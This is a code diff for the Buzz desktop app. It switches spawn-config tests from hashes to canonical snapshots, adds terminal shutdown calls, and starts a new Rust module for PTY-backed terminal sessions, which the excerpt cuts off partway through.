tempfile::tempdir().unwrap(); let pubkey = "c".repeat(64); @@ -131,7 +131,7 @@ fn backfill_of_promptless_record_keeps_spawn_hash_stable() { let pre_records = load_typed(dir.path()); let pre_instance = pre_records.iter().find(|r| !r.pubkey.is_empty()).unwrap(); - let hash_before = spawn_config_hash( + let before = prospective_spawn_config_snapshot( pre_instance, &[], &[], @@ -147,7 +147,7 @@ fn backfill_of_promptless_record_keeps_spawn_hash_stable() { .iter() .filter_map(|r| r.to_definition_view()) .collect(); - let hash_after = spawn_config_hash( + let after = prospective_spawn_config_snapshot( post_instance, &personas, &[], @@ -156,15 +156,16 @@ fn backfill_of_promptless_record_keeps_spawn_hash_stable() { ); assert_eq!( - hash_before, hash_after, + before.canonical(), + after.canonical(), "backfill must not flip the restart badge for prompt-less agents" ); } #[test] -fn backfill_of_prompted_record_keeps_spawn_hash_stable() { +fn backfill_of_prompted_record_keeps_spawn_snapshot_stable() { // The general no-behavior-change rail: a standalone agent WITH config - // must also hash identically across backfill (the definition snapshots + // must also snapshot identically across backfill (the definition snapshots // the record's own values, so the re-snapshot writes back what is // already there). let dir = tempfile::tempdir().unwrap(); @@ -180,7 +181,7 @@ fn backfill_of_prompted_record_keeps_spawn_hash_stable() { let pre_records = load_typed(dir.path()); let pre_instance = pre_records.iter().find(|r| !r.pubkey.is_empty()).unwrap(); - let hash_before = spawn_config_hash( + let before = prospective_spawn_config_snapshot( pre_instance, &[], &[], @@ -196,7 +197,7 @@ fn backfill_of_prompted_record_keeps_spawn_hash_stable() { .iter() .filter_map(|r| r.to_definition_view()) .collect(); - let hash_after = spawn_config_hash( + let after = prospective_spawn_config_snapshot( post_instance, &personas, &[], @@ -204,7 +205,7 @@ fn backfill_of_prompted_record_keeps_spawn_hash_stable() { &Default::default(), ); - assert_eq!(hash_before, hash_after); + assert_eq!(before.canonical(), after.canonical()); } #[test] diff --git a/desktop/src-tauri/src/migration/materialize.rs b/desktop/src-tauri/src/migration/materialize.rs index 5930920dd2..6ca23200e6 100644 --- a/desktop/src-tauri/src/migration/materialize.rs +++ b/desktop/src-tauri/src/migration/materialize.rs @@ -15,8 +15,8 @@ use super::{canonical_dev_data_dir, load_persona_runtimes, patch_json_records}; /// persona (unified agent model, Phase 1A). After this, spawn resolution reads /// the record's own runtime (`record_agent_command` step 2) instead of the /// live persona — same effective command by construction, so the spawn-config -/// hash is unchanged and no running agent shows a spurious restart badge (see -/// `spawn_hash::tests::materializing_runtime_keeps_hash_stable`). +/// snapshot is unchanged and no running agent shows a spurious restart badge +/// (see `spawn_snapshot::tests::materializing_runtime_keeps_snapshot_stable`). /// /// Idempotent: records that already carry `runtime` are untouched, as are /// records with no linked persona or a persona without a runtime (both keep diff --git a/desktop/src-tauri/src/shutdown.rs b/desktop/src-tauri/src/shutdown.rs index 95f9efc3c5..efd88f3cac 100644 --- a/desktop/src-tauri/src/shutdown.rs +++ b/desktop/src-tauri/src/shutdown.rs @@ -19,6 +19,8 @@ pub(crate) fn shut_down_app(app: &tauri::AppHandle, shutdown_done: &std::sync::a .store(true, Ordering::SeqCst); if !shutdown_done.swap(true, Ordering::SeqCst) { prevent_sleep::release(&app.state::().prevent_sleep); + app.state::() + .shutdown_all(); if let Err(error) = shutdown_managed_agents(app) { eprintln!("buzz-desktop: failed to stop managed agents: {error}"); } @@ -40,6 +42,8 @@ pub(crate) fn install_signal_handler( .shutdown_started .store(true, Ordering::SeqCst); if !shutdown_done.swap(true, Ordering::SeqCst) { + app.state::() + .shutdown_all(); let _ = shutdown_managed_agents(&app); #[cfg(feature = "mesh-llm")] shutdown_mesh_runtime(&app); diff --git a/desktop/src-tauri/src/terminal_runtime.rs b/desktop/src-tauri/src/terminal_runtime.rs new file mode 100644 index 0000000000..87f969592d --- /dev/null +++ b/desktop/src-tauri/src/terminal_runtime.rs @@ -0,0 +1,984 @@ +//! Rust-owned PTY sessions and the typed Tauri transport for Buzz Substrate. + +use std::io::{Read, Write}; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::{Arc, Mutex}; +use std::thread::JoinHandle; + +use buzz_terminal::context::{context_vars, GuiContext}; +use buzz_terminal::damage::{Frame, Style}; +use buzz_terminal::{Fences, SharedTerminal, Size, Terminal, Viewport}; +use portable_pty::{native_pty_system, CommandBuilder, MasterPty, PtySize}; +use serde::{Deserialize, Serialize}; +use tauri::ipc::Channel; +use uuid::Uuid; + +use crate::terminal_transport::{FramePublisher, OfferError, Publication, SubscriptionId}; + +mod scroll_sign; + +use scroll_sign::{scroll_by_dom_lines, DomLines}; + +const MAX_LIVE_SESSIONS: usize = 20; +const MAX_INPUT_BYTES: usize = 1024 * 1024; + +type Result = std::result::Result; + +#[derive(Debug, Deserialize)] +#[serde(rename_all = "camelCase")] +pub(crate) struct AttachRequest { + /// Present when a renderer remounts onto an existing PTY-backed tab. + session_id: Option, + channel_id: String, + channel_name: String, + thread_id: Option, + npub: String, + relay_url: String, + columns: u16, + rows: u16, + pixel_width: u16, + pixel_height: u16, +} + +#[derive(Debug, Clone, Copy, Deserialize, Serialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub(crate) struct WireViewport { + generation: u64, + columns: usize, + screen_lines: usize, +} + +impl From for WireViewport { + fn from(value: Viewport) -> Self { + Self { + generation: value.generation, + columns: value.columns, + screen_lines: value.screen_lines, + } + } +} + +impl From for Viewport { + fn from(value: WireViewport) -> Self { + Self { + generation: value.generation, + columns: value.columns, + screen_lines: value.screen_lines, + } + } +} + +#[derive(Debug, Serialize)] +#[serde(rename_all = "camelCase")] +pub(crate) struct AttachResponse { + session_id: String, + subscription_id: String, + viewport: WireViewport, +} + +#[derive(Debug, Serialize)] +#[serde(rename_all = "camelCase")] +pub(crate) struct WireStyle { + fg: u32, + bg: u32, + flags: u16, +} + +impl From